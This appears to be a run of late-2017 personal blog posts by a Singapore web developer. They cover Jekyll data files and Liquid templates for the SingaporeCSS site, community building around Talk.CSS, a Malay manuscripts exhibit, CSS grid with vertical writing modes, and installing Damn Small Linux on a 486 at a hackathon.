I use Jekyll quite a bit, for this site, for the SingaporeCSS site, for my Penang Hokkien site, you get the picture. In case you've never heard of Jekyll, it is a static site generator. And there are quite a lot of static site generators out there, popular ones (that I've personally heard of) being Hugo, Gatsby and Metalsmith. In fact, Netlify maintains a list of open source static sites generators called StaticGen. It's a really long list.

Some people even build their own, like my good friend, Zell Liew, who spoke about the experience. I'm not one of those people. I discovered Jekyll when I first heard Anna Debenham talk about it on Episode 72 of The Web Ahead podcast. I had been only using Drupal at work and was intrigued by the idea of a flat file CMS.

Using data files in Jekyll

Cut to 3 years later and Jekyll is now on version version 3.6.2 as of time of writing, and things have changed quite a bit from June 2014, just look at their change log over the years. The ability to store data in files was first introduced in 2013 for the 1.3.0 release. So it was already a feature by the time I picked up Jekyll.

The first time I used it was to implement tags on this blog of mine. The resource I referenced was written by Stephan Groß because my broke ass hosted (and still hosts) this site on GitHub Pages and I needed a solution that didn't rely on plugins. Stephan's post was literally the perfect answer to my question, namely How To Use Tags And Categories On GitHub Pages Without Plugins.

The documentation on Jekyll's site is pretty well-written and for basic use cases, they've got you covered. Jeykll supports data contained in YAML, JSON and CSV files which are stored in a _data directory in your root Jekyll project. In their words, Jeykll is a text transformation engine, so most of it's functionality is predicated on the project's directory structure.

Liquid template language

Jekyll uses Liquid as it's templating language, so it does require Ruby to run, and this may put some people off. But like I said, the choices for static site generators are more than you can shake a stick at, so you do you and I'll use Jekyll.

There are basic logic operators for control flow, if, elsif/else, case/when and one that I hadn't seen before, unless, which is the opposite of if where a code block is executed only if a certain condition isn't met. Liquid doesn't have a not operator, so unless is the closest equivalent. It does make for some interesting control statements.

We also have a couple of iterators to work with, for, cycle and tablerow, and they come with parameters like limit, offset and range that can be combined in different ways to make Jekyll quite flexible (at least for my use cases thus far). The Liquid documentation is an useful reference as all of their standard tags and filters are supported in Jekyll.

It is possible to create variables with the assign tag and this becomes useful when you want to do things like access nested data in your convoluted data files (nah, that's just me, I'm sure your files look great). There's also a capture tag, which I don't usually use, but it allows you to create complex strings with other variables created from assign. Read the docs 😛.

Reworking the SingaporeCSS website

The SingaporeCSS website has always been a pet project of mine, even though I don't think anyone really visits the site, it's my baby and I love it regardless. SingaporeCSS organises Talk.CSS, which is the only CSS-centric meetup in Singapore, and sister meet-up to Talk.JS, our JavaScript-centric counterpart.

We've been around for 2 years now and will soon be having our 24th meetup, not too bad for something that started off as a random chat in the KopiJS slack channel. As the online presence of a CSS meetup, I figured it'd be a good chance to try out ALL THE THINGS. Specifically all the CSS things. #personalplayground

As the site grew, it didn't make sense to keep writing the markup by hand, especially since every post was generally using a similar format. But I was lazy, so lazy. Until I finally decided to stop procrastinating and resolve this technical debt. Actually, I had wanted to create a page to list all past speakers but soon found the existing implementation made this idea infeasible.

Each post has a section on videos, and a section on speakers. This has been standard from day 1. Along the way, I added a few segments, a HTML and CSS news for the month bit, a CSS colour of the month bit, and a soon-to-be-revived CSS grid demo of the month bit. The thing about the news segment is that sometimes it gets recorded as video, and sometimes it doesn't. There is always a write-up accessible from the GitHub repo though.

Here's where Jekyll's truthy and falsy comes in really handy. Most of my conditionals involve checking if something exists or not, so my template will render only what shows up in the data entry. I ended up having 3 separate data files for my intents and purposes. One for speaker data, one for video data and one for meetup data.

shiawuen:
  name: "Tan Shiaw Uen"
  twitter: "shiawuen"
  shortcode: "shiawuen"
  bio: "Shiaw Uen is a developer. He occasionally plants vegetables and makes soap."

s303:
  title: "CSS whack-a-mole"
  link: "https://youtu.be/7Nyi3Iwa4s4"
  shortcode: "s303"
  description: "Creating a game in pure CSS? Shiaw Uen schools us in the dark arts of the CSS checkbox hack."

3:
  videos:
    - ref: s301
    - ref: s302
    - ref: s303
  speakers:
    - ref: sayanee
    - ref: yongjun
    - ref: shiawuen

The meetup entry eventually expanded to (or could be expanded to) something like this:

15:
  colour:
    name: chartreuse
    hex: "#7fff00"
    rgba: rgba(127,255,0,1)
  videos:
    - ref: s1501
    - ref: s1502
    - ref: s1503
    - ref: s1504
  codepen:
    description: "This particular demo by <a href='http://jensimmons.com/'>Jen Simmons</a> is best viewed if you open it in another browser and resize to your heart's content. <a href='http://labs.jensimmons.com/2016/examples/mondrian-2.html'>View it full page.</a>"
    embed: "<p data-height='500' data-theme-id='9162' data-slug-hash='mrNvPZ' data-default-tab='html,result' data-user='jensimmons' data-embed-version='2' data-pen-title='Responsive Mondrian' class='codepen'>See the Pen <a href='https://codepen.io/jensimmons/pen/mrNvPZ/'>Responsive Mondrian</a> by Jen Simmons (<a href='http://codepen.io/jensimmons'>@jensimmons</a>) on <a href='http://codepen.io'>CodePen</a>.</p>"
  speakers:
    - ref: sayanee
    - ref: cheeaun
    - ref: chris
    - ref: zell
    - ref: thomas

I'm sure there's a better way to do the CodePen embed, but I need some time to think it through. So the strategy here was to reference videos and speakers from the meetup data through their keys.

We access the data from the files in the _data folder using the syntax site.data.FILENAME[key], and to make things neater, I put this into a variable with the assign tag.

{% assign meetup = site.data.meetups[page.meetup] %}

We can then loop through the video entries in the meetup data file and use those values as keys in the videos data file like so:

{ for videos in meetup.videos %}
{% assign video = site.data.videos[videos.ref] %}

Within the loop, I ported in the original structure of each video entry. When this was done, I was kicking myself for not getting a move on and doing this sooner. Oh well, that's what laziness will do to you. Better late than never.

<div class="c-video">
  <a class="c-video__link" href="{{ video.link }}">
    <img
      class="c-video__img"
      src="{{ site.url }}/assets/img/videos/talk-{{ page.meetup }}/{{ video.shortcode }}.jpg"
      srcset="{{ site.url }}/assets/img/videos/talk-{{ page.meetup }}/{{ video.shortcode }}@2x.jpg 2x"
      alt="Link to {{ video.title }} video"
    />
  </a>
  <p class="c-video__desc">{{ video.description }}</p>
</div>

For the remaining sections, it was a matter of checking if the meetup entry contained the relevant key, for either CSS news, CSS colour or a CodePen embed using the if tag. For example, the CSS colour section looks like this:

{% if meetup.colour %} {% assign colour = meetup.colour %}
<div class="c-colour">
  {% if colour.text %}
  <div class="c-swatch" style="background-color:{{ colour.hex }};color:{{ colour.text }}">
    {% else %}
    <div class="c-swatch" style="background-color:{{ colour.hex }}">
      {% endif %}
      <div class="c-swatch__txt">
        <p>{{ colour.name }}</p>
        <p>{{ colour.hex }}</p>
        <p>{{ colour.rgba }}</p>
      </div>
    </div>
    <h4>CSS colour of the month</h4>
  </div>
  {% endif %}
</div>

Gotchas and TILs

Amidst the trial and error, and largely due to my lack of familiarity with the YAML format, I learnt that indentation and dash notation in the data files do make a significant interest. When I had multiple videos nested within a meetup entry, each video entry had the same key, and those had to be prepended with a dash, however, different keys did not need the dash.

So in a nutshell, this works:

13:
  videos:
    - ref: s1301
    - ref: s1302

But this does not:

13:
  videos:
    ref: s1301
    ref: s1302

There are also a number of useful helper variables for loops that help inject more logic into my templates. I'm using grid for the speakers section, and the fallback utilises flexbox. When there are less than 3 speakers, the alignment is flex-start, but when there are 3 or more speakers, the alignment is space-between. And this is applied with a CSS class.

The logic behind this is to catch the last iteration and count it, if that value is less than 3, there will be an extra alignment class like so:

{% if forloop.index > 2 and forloop.last %}
<div class="l-speakers c-speakers">
  {% endif %} {% if forloop.index < 3 and forloop.last %}
  <div class="l-speakers c-speakers u-align-start">{% endif %}</div>
</div>

Wrapping up

The SingaporeCSS website is totally open source and hosted on GitHub so you can check it out if you are interested. And if you see something that can be improved on, pull requests are always welcome.

Have a great 2018, everyone! 💃

Building a webic community

Thu, 28 Dec 2017 00:00:00 GMT

So this month, I met a lot of awesome people while attending my very first Mozilla All-Hands, among whom were Lin Clark and Jen Simmons. I'm an unabashed fangirl of both these women, but I kept my composure throughout the experience, because...attempted adulting.

Anyway, if you've read some of my blog posts or tweets (probably re-tweets), you'll realise that Jen is a huge source of inspiration for me. Maybe I should do some data analysis on how often I mention her, that'd be interesting...(okay, I'll stop being distracted now)

But the latest talk of hers that I watched was the one she gave at UX Burlington earlier this year on “Designing with Grid”. You can (and I personally think, should) watch the full talk on Youtube and go through the slides at your own pace.

About that CSS grid...

It's been around 8 months since CSS grid has shipped, and as people start to pick it up and use it in their projects, we're starting to see more articles and talks about CSS grid. That's a good sign, because we do want CSS grid to become the industry standard for creating layouts on the web.

My key resources for keeping up with CSS grid developments haven't changed though, and you probably have the same resources on your list (or maybe not):

Javier Fernández and Manuel Rego from Igalia, which is the team responsible for implementing CSS grid in WebKit and Blink (I'm pretty sure more members of the team are involved but these 2 gentlemen are more actively writing about their work on CSS grid)
Rachel Andrew, who played a significant role in advocating for CSS grid to be implemented when almost no one else had even heard of it
Elika J. Etemad, who is the editor of many, many, many CSS specifications, among which CSS grid is one of them
Jen Simmons, because she is constantly finding ways to push the envelope when it comes to designing for the web and always coming up with new ideas on how to teach these new technologies and change our industry for the better

A language OF the web

And if you didn't know before, you'd have found out when you watched the UX Burlington talk, that Jen has a background in film and theatre production. Actually, she has a vast cross-disciplinary design experience that relatively few people can rival. That's what makes her perspective especially interesting.

When she started talking about telling a story through the lens of a 16mm camera, it occurred to me that perhaps the closest medium to the web was not only print, but film as well. The concept of framing is so relevant to the viewport. Another key idea she proposed was for us to develop a webic language, just like the film industry has a filmic language.

There's a filmic language, and you go to film school then you start to learn it. There's, I think, a webic language. There's some sort of language of the web. Of what these things mean or what these choices mean. And I think it's going to be interesting to start slowly, together over, you know, decades, figuring out what that is and being able to articulate it and use it with a bit more skill.
—Jen Simmons

Took some DevTools manipulation to get this screenshot...

The reason I find Jen so compelling, is that she isn't prescriptive when she shares her ideas. She does not go around telling people that this one way is the best way to do something. Instead, she encourages her audience to think further, to figure things out together, to build on top of each other's creativity.

What is front-end?

If job descriptions are anything to go by, the term “front-end” seems to be this all-encompassing role that only the most magical of unicorns can hope to fulfil. In reality, I personally know a good number of people who work on the web with skills in areas that most recruiters don't know how to categorise.

This is highly unfortunate, and makes me question our need to categorise everything into neat boxes. Guess what, life isn't neat. Sure, there are those who check off every box on the list of “must-have traits/skills to be a INSERT TITLE HERE”, but there are plenty more who don't.

Seems odd that people accept someone being good at CSS + design, but are mystified by the idea of someone good at CSS + ops.

— Rachel Andrew (@rachelandrew) 15 September 2017

The field of front-end has yet to be defined, because our industry moves too quickly and the range of skills required seems to grow with every passing day. We need to realise that it is impossible to be an expert in every one of those skills, and that's perfectly fine. I used to think I was an odd bird because I loved the sysadmin side of things as well as doing CSS. Glad to know I'm not alone.

Convergence (1952) by Jackson Pollock

The front-end skill set is not discrete, where you only do one thing. Neither is it a spectrum, where you do several things that are adjacent to each other. It's more like a Jackson Pollock painting (during his drip period), sprawling and all over the place.

Stronger together (cliché but true)

The term “webic language” stuck with me. I've always seen the web as a unique medium and for the web to have its own language makes perfect sense to me. But I want to take it further, maybe co-opt it a little bit. I want to build a webic community in Singapore. Together with all of you.

I'm the co-organiser of Talk.CSS, Singapore's only CSS-centric meetup, which has miraculously been continually running without a hiatus for 2 years. Join me for a drink and I'll tell you all about why I think this is miraculous 🤣.

If you read the thread of Rachel's tweet above, you can see that CSS is something that elicits a very wide range of responses. It is amazing, creative, dark magic, a beast to design, and that's just from this thread. I've heard people say CSS is hard, CSS is easy, CSS is rubbish and doesn't make sense, CSS is intuitive and makes perfect sense. 🤷 #polarising

Proficiency in CSS requires a mental model that is very different from what most popular programming languages utilise. And this quote by Danielle Huntrods sums it up perfectly.

“CSS isn't a programming language. It's a stylesheet language. We shouldn't expect it to behave like a programming language. It has its own unique landscape and structures, ones that people with programming language mental maps might not expect.”
—Danielle Huntrods

Because CSS has matured immensely over the past 20 years, I found that a lot of the functionality that could only be written in JavaScript can now be done with CSS. And a lot of the functionality that software traditionally used for digital graphics, like Photoshop or Illustrator can now be done with CSS and SVG.

I stand by my opinion that as long as you're designing something that lives on the web and is consumed via a browser, it is mandatory that you understand how a browser works, and how the web works.

Do you need to know exactly what lines of code to write to achieve certain effects? No. But you do need to know exactly what can and cannot be done. And you also need to fully understand the implications of your design choices on the people who consume it.

This is why Talk.CSS want to have more people who identify as designers in our audience. Especially designers who are used to designing for the web using tools like Sketch or Photoshop. We want to add another tool to your design toolbox: CSS. Our goal is for everyone who designs for the web to understand how it works.

Talk.CSS in the new year

Banner designed and maintained in the browser

We didn't plan for it to turn out this way, but it just so happened that the first Talk.CSS of 2018 will be our biggest event to date. It's part of DevFest.Asia 2018, which is the week of tech meetups that lead up to JSConf.Asia 2018 and we've managed to snag Mandy Michael and Andy Clarke, in addition of our own Zell Liew and Sebastiaan Deckers for a full 3-hour design and CSS extravaganza.

It's going to be pretty awesome, so if you happen to be around during DevFest week, which is between 22–29 January, come join us! You can get tickets right now, and we'll throw in a t-shirt plus coffee (the good kind). I really hope to see you there 🙆.

For 2018, we'd like to expand our audience, as well as talk topics to encompass more design-related topics to facilitate this conversation on what it means to design for the web. To make performance and accessibility something that comes up at the beginning of the design process, not hastily slapped on at the end.

I'm constantly saying to anyone who will listen, that Singapore has one of the strongest tech communities in the world, and I truly believe this. There are many factors that contribute to this and I will gladly write a full-length post talking about the Singapore tech community, but not this time. Talk.CSS is a part of this vibrant tech community and we want to do our part to help grow it.

Geekbrunch, because we like to gather, eat and talk

The tech industry needs design more than ever and Southeast Asia is brimming with talented designers and developers who can definitely make a difference and offer an alternative perspective. Nobody is going to hand us a seat at the table, but we have to make our voices heard. Maybe it'll work, maybe it won't. But shame on me if I didn't even try.

Let's do this.

Slowly.

Together.

Recap of Tales of the Malay World

Thu, 21 Dec 2017 00:00:00 GMT

It is not a secret that I am a huge fan of Singapore's national libraries. Their selection of books and resources is amazing, with an excellent nation-wide system that makes borrowing and returning books unbelievably convenient. They even fulfil book requests! It's not a fake form that gets submitted to the ether! 🙆

I could go on and on, but the point of today's post is to talk about one of the best exhibits I've been to in a long time. There's an exhibit going on at the National Library Building called Tales of the Malay World that showcases a glorious collection of Malay manuscripts and early books. It started running from 18 August, 2017 and will end on 25 February, 2017 (if you're reading this after it ends, I'm sorry, but I hope this post can give you a small taste of it).

Some background on the Malay language

Malay had been serving as the lingua franca of the whole Malay Archipelago for many centuries. According to Teeuw (1967), inscriptions of Old Malay dating back to the second half of the 7th century have been discovered. Malay had been the official court language of the Shriwijaya empire, and it served as the language of trade amongst foreigners in the region, as well as between Indonesians of different native tongues.

The exhibit opens with a bit more background about the history of the Malay language if you're interested. Also, if you can get your hands on them, I found the following books and essays by Andries Teeuw to be quite comprehensive:

The manuscripts section

We start off with manuscripts, and some of them are on loan from the British Library (well, if you're not from Southeast Asia, FYI Western Europe colonised the shit out of our region 🙄 moving on...), while others are from the National Library's own collection. Almost all the manuscripts and books were written in the Jawi script.

As an aside, I had taken the Coursera MOOC on Deciphering Secrets: The Illuminated Manuscripts of Medieval Europe because that's my sort of thing, but I hadn't really seen illuminated manuscripts in real life. Until now. 😲

Likely produced at court due to its lavish gold decoration

Not every manuscript in the exhibit was illuminated, but I found the Jawi script, and Arabic scripts in general, to be extremely elegant and beautiful. It's hard to put into words, but every script feels like a different persona to me.

Story of Amir Hamzah

To me, Han characters and the Chinese script have a balanced quality of strength and grace (that's the best translation I could muster of 柔中带刚, please offer a better one if you can). Arabic scripts are romantic and refined, sprinkled with a bit of whimsy.

I recently purchased a copy of Cultural Connectives by Rana Abou Rjeily to learn more about the Arabic script. I highly recommend it for non-native Arabic speakers trying to start learning Arabic.

Not every manuscript on display was an illuminated manuscript. Most manuscripts that were meant to be read aloud to local audiences were plain, and only those that were collected or copied for European collectors were ornately decorated.

Story of Alexander the Great, commissioned by William Farquhar

But even the so-called “plain” manuscripts are beautiful because every manuscript is unique, created under the pen of their respective copyists, reflecting their individuality with every letter and flourish.

Mildly controversial (maybe?) story written by Usup ibn Abdul Kadir

Most of the manuscripts on display were Hikayat (حكاية), which are narrative stories, and Syair (شعير), which are a form of traditional Malay poetry.

Poem about a Selindung Delima

Also the story of Alexander the Great, but a different copy. Belonged to Adriaan David Cornets de Groot

One of the highlights of the exhibit (it was on the brochure!) was this huge illuminated letter from Sultan Syarif Kasim to Raffles, where the Sultan request for British support against the Sultan of Sambas. I don't know about you, but if I received a letter of this size, I'd say the author really wanted to get his point across 😆.

This is one epic letter

Another really cool manuscript I liked was Syair Dendang Siti Fatimah. It takes the form of a folding book, reminiscent of Chinese folded books (折本), and is, by my estimate, at least 1.5 metres long.

There's a lot more to this but I didn't have a wide lens

This style of manuscript is typical of those from Thailand and Myanmar and was written in Pattani (southern Thailand). It consists of two poems: Syair Dendang Siti Fatimah and Syair Masihat Kepada Laki dan Perempuan.

The printed works section

Malay/Muslim printing had been around in Singapore from 1860 and Singapore was an important hub for Malay literary printing. According to the exhibit, the earliest known book published by a Malay/Muslim printer in Southeast Asia is a Qur'an printed in Palembang in 1854 using a lithographic press that was purchased from Singapore.

Lithography was the technique of choice, and this I presume was due to the complexity of the Jawi script (Arabic scripts, in general). It served as an alternative to manuscript culture, and made printed texts more accessible to the masses.

Letterpress printed, which failed to capture the varied strokes of Jawi writing

Cermin Mata, a quarterly publication published by Benjamin Keasberry

Cermin Mata, which is the image on the right above, is considered one of the most attractive examples of early lithographed Malay books that managed to imitate the flow of handwritten scripts and the artistic style of Malay manuscripts. Contrast that with the image on its left, which was printed by letterpress.

This syair has a uniquely designed headpiece

What really got me was how beautifully designed the layouts for these manuscripts and books were. It wasn't just all just a single rectangular block all the time.

Then again, maybe the curator just turned to those pages that were specially laid out. I'm actually not sure, but point is, there were lots of creative layouts on display.

Manuscripts normally don't contain illustrations but this one does

This was printed by a Chinese printer

Qur'ans

The Qur'an is the central text of the Islamic religion, which Muslims believe to be the last revealed word of Allah and is widely regarded as the finest work in classical Arabic literature.

According to the exhibit, Qur'ans all over the world, if decorated, would have the decorations at the beginning of the book. But Qur'ans found in Southeast Asia feature three decorated double pages - at the beginning, middle and end of the book.

Beginning of the Surat al-Kahf

Juz' markers in the margins

The following Qur'an is possibly the second-earliest lithographed Qur'an printed in Singapore, and it too contains three decorated double pages at the beginning, middle and end. The double pages are coloured in by hand over the printed design.

Beginning of Surah Al-Isra'

Wrapping up

If you're interested in typography and calligraphy, or the culture of Southeast Asia, or the history of the Malay Archipelago, or even if you just happen to be in town (maybe for JSConf.Asia or some CSS-related event), drop by the National Library and take a look.

It's definitely one of my favourites and I didn't even have to pay for it. Free admissions! I would have gladly paid to get in, seriously, and I'm the most cheapskate person I know 🤣.

Anyway, here's the location of library if you need directions. If you did go after reading this, tweet at me and let me know if you liked it as much as I did, if you want to. I mean, you do you, right?

Notes on vertical writing and CSS grid

Tue, 12 Dec 2017 00:00:00 GMT

When I was working out the kinks in my year-old vertical typesetting demo, I attempted to use CSS grid as one of the options for handling layout, but didn't get very far, because at that point, my brain had pretty much melted down 😕. But I'm on a plane now, surrounded by people who are staring at code, so I felt sort of motivated to do something useful as well.

The thing I want to work out is how CSS grid works when the writing mode is vertical, and how that affects Firefox's Grid Inspector as well. Since I wrote a reasonably in-depth post on the Firefox Grid Inspector, I figured I'd better understand it as thoroughly as I could.

Demo and observation time!

Basic setup

I started off with the most basic of markup structures. Because reduced test case. My original intention was to use grid for laying out a figure with multiple images and a caption.

<!DOCTYPE html>
<html>
  <head>
    <!-- Stuff that goes in <head> -->
  </head>

  <body>
    <figure>
      <img src="img/listen.svg" />
      <img src="img/read.svg" />
      <figcaption>This is a test</figcaption>
    </figure>
  </body>
</html>

Basic markup structure (vertical-rl on html element)

I didn't know how grid rows and grid columns would work in vertical mode, so let's take a look at the specification.

There are two sets of grid lines: one set defining columns that run along the block axis (the column axis), and an orthogonal set defining rows along the inline axis (the row axis).

I interpret this as, when the document has been set to vertical-rl, grid columns run top-to-bottom while grid rows run right-to-left like so:

Let's see if that's the case by creating a layout with the figure element as the grid container. I want the 2 images to stack on top of each other, and the caption to stretch the length below (i.e. to the left) both images.

html {
  writing-mode: vertical-rl;
}

figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: max-content min-content;
}

Let's visualise my target end-result and their corresponding line numbers.

There seems to be some issues with the Grid Inspector tool here. I guess we'll be flying blind from here on out.

Something doesn't seem quite right here...

Before I started using the Grid Inspector tool, I would apply borders to the grid items. It wasn't the best solution, because I couldn't actually see the grid tracks, but it'd have to do for now.

Borders, borders everywhere!

Okay, this reduced test case looks like Grid is working just fine in vertical writing-mode. So this is the code that will give me the layout I wanted in my earlier write-up (ignore the border code).

figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: max-content min-content;
  justify-items: center;
  border: 2px dashed green;
}

img {
  border: 2px dashed blue;
}

figcaption {
  border: 2px dashed red;
  grid-column: span 2;
}

Here we go

Expanded test case

Now, to see if this plays nice with nested writing-mode. Like I mentioned in the earlier post, I seem to be quite the stickler for punishment 🤷. Spoiler alert: it wasn't painful at all.

I copied over the content from that demo, and rewrote the markup to make the figures flatten out. So the markup for each figure was changed like so:

<!-- Non-grid version -->
<figure>
  <figcaption>最早的視覺傳達方式基本都是利用圖形進行的。這是北美印地安在史前的岩洞壁畫</figcaption>
  <div class="img-wrapper img-double">
    <img src="img/pictograms-1.jpg" />
    <img src="img/pictograms-1.jpg" />
  </div>
</figure>

<!-- Grid version -->
<figure class="img-double">
  <figcaption>最早的視覺傳達方式基本都是利用圖形進行的。這是北美印地安在史前的岩洞壁畫</figcaption>
  <img src="img/pictograms-1.jpg" />
  <img src="img/pictograms-1.jpg" />
</figure>

Grid rows and grid columns do respect the writing mode of the document, even if the writing mode is nested to high heaven. Which meant that I could make the layout code apply to the relevant elements generally, and adjust for direction (left/right, width versus top/bottom, height) when those states were toggled.

In fact, I'm thinking that once we have CSS logical properties, I won't even have to have two sets of directional properties. That would be awesome!

The classes on each figure were to deal with if the figure had 1 image or 2 images. So for single image figures, the image just spanned 2 columns instead. The layout code for each figure looks like this:

figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: min-content max-content;
  justify-items: center;
  align-items: center;
}

figcaption {
  grid-column: span 2;
}

.img-single img {
  grid-column: span 2;
}

And the toggled versus un-toggled states looked like this:

.c-switcher__checkbox:checked ~ main {
  figure {
    margin-left: 1em;
    max-height: 30em;
    margin-top: auto;
    margin-bottom: auto;
  }

  .img-single img {
    max-height: 20em;
  }
}

.c-switcher__checkbox:not(:checked) ~ main {
  figure {
    margin-bottom: 1em;
    max-width: 30em;
    margin-left: auto;
    margin-right: auto;
  }

  .img-single img {
    max-width: 20em;
  }
}

I kinda like it. So TIL, the issue isn't with writing-mode, it's with the Grid Inspector tool, but knowing Mozilla, the team is already working on the problem. Source code for the grid version of the demo on GitHub, and live version viewable here.

YES! I wish I were there with you. Tomorrow. :D

We *have* to sit around and hack on demos this week. :D

Also, our Grid Inspector doesn’t properly work w/ non-horizontal LTR writing modes yet, but the team is on it. We should track down the engineers working on it this week.
— Jen Simmons (@jensimmons) 12 December 2017

If you were wondering (probably not, but still), I am currently at Mozilla All Hands in Austin, Texas and I'm super excited, but also super jet-lagged, which is why this post is being completed at 4am. Does anyone care about this vertical writing mode stuff? I don't know, but I sure do.

Breakfast time! Until the next one.

Hardware hacks: Super Silly Hackathon

Sun, 10 Dec 2017 00:00:00 GMT

I got the chance to do a bit of travelling this year, and managed to meet a lot of developers from different parts of the world. One thing that comes up in our conversations is how our local tech communities are like. I absolutely love answering this question.

Singapore, in my opinion, has one of the best tech communities in the world. Sure it's a pretty small country, but that's a large factor as to why we are such a tight-knit community. We have a number of strong community leaders that have built up a solid foundation of support for veterans and newbies alike.

Want to start your own meet-up? We have a tonne of resources available at We Build!, which is THE go-to platform to find out all about the tech scene in Singapore, what events are on, how to start your own meetup etc. Almost all meetup talks are recorded by Engineers.SG. In their words, they are a not-for-profit community initiative created to help document the Singapore tech and startup scene.

Long story short, my friends held a hackathon that was inspired by Stupid Shit No One Needs & Terrible Ideas Hackathon and decided to hold our own Super Silly Hackathon. It was great. I had the best time 🙆. Also, their website is awesome. It has a diagonal scroll. Lim Chee Aun designed and built it. Check out his talk. Plus, cats.

Unicat says meow

Team 486

There had always been a computer in my house, from way before I was born. According to my siblings, we even had an Apple II at some point. It either died before I was born, or we left it when we moved down south. or something, but it's gone now 😩. What I do remember is the 386, or maybe it was a 486, on which I learned enough about DOS to run games.

Direct Access, the DOS menuing shell by Delta Technology International

I talked a lot about that when I reminisced about the 90s last year. That was when I got to know a fellow retrotech enthusiast, Yeo Kheng Meng. He is the most awesome guy, because he managed to get Windows 3.11 working on modern hardware, and presented it at Hackware, Singapore's monthly hardware hacks meetup. That's not the only thing he's awesome for, just one of many.

Anyway, I had been planning to show up at this hackathon and just muck around but then Kheng Meng asked if I was interested in trying to run a modern Linux system on an old 486. Of course the answer was a resounding YES. He'd bought the old machine online, somewhere, and after some quick discussion, we decided to go ahead with the plan.

Look at this beauty

The name of the team came much later, when we were told we had to have a name. Naming things is hard. So we went with the obvious. Team 486.

Pre-hackathon prep

Kheng Meng had way more hardware than I did, and did a bit of experimentation before the hackathon. We were working with a IBM PS/1 Consultant 2133 19C with the following hardware specifications:

AMD 5X86 running at 133mhz
64MB RAM
IBM CD ROM Drive
3.5" 1.44mb floppy drive
171 mb Hard Drive
Sound Blaster 16 card
VGA Graphics
10Mbps 3Com Etherlink III 3c509B

Update: Kheng Meng adds that the Am5x86 is AMD's high performance clone of the Intel 80486. Because most people associate 486 chips with Intel but no, my friends, I did not make a typo when I said the chip was an AMD. Also, the machine does not have a PCI bus at all. The network card uses the ISA slot.

It's quite a high-end machine for its time but we were trying to run relatively modern software on it, so the hunt for smallest Linux distros began. Kheng Meng did some research and found people with success on the 486 using Gentoo Linux. We also considered Slackware. But turns out our machine couldn't handle either of those.

I remembered installing Damn Small Linux on an old Pentium 2 a number of years ago, but it hadn't been updated in a while. So we looked at Tiny Core Linux instead. Kheng Meng had prepped a number of boot discs beforehand, but also brought along his trusty Thinkpad T430, which could multi-boot into Linux Mint, Windows 10, Windows XP and FreeDos (just because).

We had the means to burn CD images as well as floppy disc images, so don't throw away working old hardware, folks. You never know when they might come in handy.

And so it begins...

That hard disc is really tiny, so Kheng Meng replaced it with his 80gb Maxtor HDD instead, which we just rested on top of the machine. I managed to procure a 19-inch VGA monitor, and brought along a mini wifi router because we'd have to fiddle around to get our machine hooked up to the internet somehow. Kheng Meng brought tonnes more gear, so he had a nice suitcase.

First problem of the day, like 15 minutes in. The monitor couldn't read our 486's output. Zilch. But we snagged a great spot, right next to the location's projector inputs, so we hijacked the projectors for the entire day. Basically, the venue had a setup for 3 projector screens around the room, and everyone could see whatever we were doing for the day, even if they didn't understand what it was we were doing. Best feng shui of the day, me thinks.

Hijack them ports!

After we finally got the display to output, the next step was to boot and install Linux. Our choice of OS was Tiny Core Linux, and we had 2 versions burned to disc, Tiny Core and Micro Core. We started off with Tiny Core, but it wouldn't take. The machine rebooted every time it tried to boot the kernel.

So we tried the Micro Core version next, but since they were built on the same system, it was no surprise when the same issue recurred. There was the briefest of flashes of an error message just before the reboot happened, and so, being the resourceful problem-solvers we were, Kheng Meng whipped out his phone that could record 60fps video and captured footage of the screen just before reboot.

I always use Quicktime to do my video edits, and one of the features I'm fond of is the Trim function. It allows you go into fine-grain frame-by-frame editing by holding the slider for a second. Anyway, the footage managed to catch the following error message:

BUG: Bad page state in process swapper/0 pfs:007d4

When your eyes are not fast enough...

Googling wasn't particularly helpful and so we decided to give Damn Small Linux (DSL) a try, since it was relatively older, it perhaps would work better with the 486, who knows? So we burned the image to a rewritable CD and tried again.

Surprise surprise, it managed to boot up (with the help of a smart boot loader on floppy) without crashing, but somehow it could not read the image on the CD. Turns out, the drive couldn't recognise rewritable discs. Luckily, we were 100m away from the IT mall, so 20 minutes later, we had a stack of blank CDs to work with.

Again, there were multiple versions of DSL we could use, and we settled on using the CD image of 4.4.10 and 4.11.RC2. If all else failed, we'd go with the floppy disc option, because we could 💪.

This is where my memory gets fuzzy. I can't remember if we tried the RC2 version, and encountered some error BEFORE I went out to buy the CD-Rs or after that. But the point is, we managed to get the boot sequence all the way to the boot options menu and beyond on 4.4.10.

4 hours to install an OS

It was lunchtime when I made my IT-mall-blank-CD-buying run, so there was a lot of typing with one finger while shovelling food in my mouth. Oh, but when we got to the part where ALL the hardware components were recognised correctly, happy dance 💃.

After mucking around a bunch of boot options for another half an hour or so, we realised that we should have just typed install when the boot prompt came up 😠. In our defence, the instructions looked like this:

Oh, just, come on...

But it's all good. Such things are expected when it comes to doing unorthodox things to hardware. Wait till you see all the other snags we hit. It's all part of the fun, my friends.

Before installing onto disc, we wiped the existing content and repartitioned the drive. The first time we did it, we ambitiously allocated 512mb for the Swap and the remaining free space as the working drive, which would be bootable. That was around 75.7gb or so? Bad idea.

This won't be the last time

It took soooo long to write. AND I think I screwed up the part where it asked if a boot loader should be installed, and I pressed Enter, assuming the default option of (y) would be selected, instead of explicitly entering y. So it's either the boot loader wasn't installed, or we allocated too much space for the system to recognise. I think it was the former. But regardless, the system wouldn't boot from HDD, so Take 2.

The second time we tried to install to disc, the boot loader wouldn't read the disc image, even after we tried to clean it with a lint-free microfibre cloth 😩. Fortunately, we had that stack of extra blank CDs lying around, so Kheng Meng burned a new copy, plus verified the disc. It actually worked, we don't know why.

This time we allocated a lot less space for both partitions, and boy did that speed things up. Although it wasn't blazing fast or anything, it was much faster than the first time we did the install. Priming is everything, folks.

We lived and learned

Our baby has come to play

It was around 3pm when we got DSL to boot off HDD successfully. So we were ahead of schedule (in my mind) and I proceeded to happy dance a couple of times. Next question was, we need to do something with it.

DSL comes with a lot of features already, if you refer to the What can fit in 50 megabytes?! section of the wiki, you'll see the full list. It comes with SSH, a web server and media player. The first idea was to serve the hackathon website off our lovely 486. All the code for the site was open source on Github anyway.

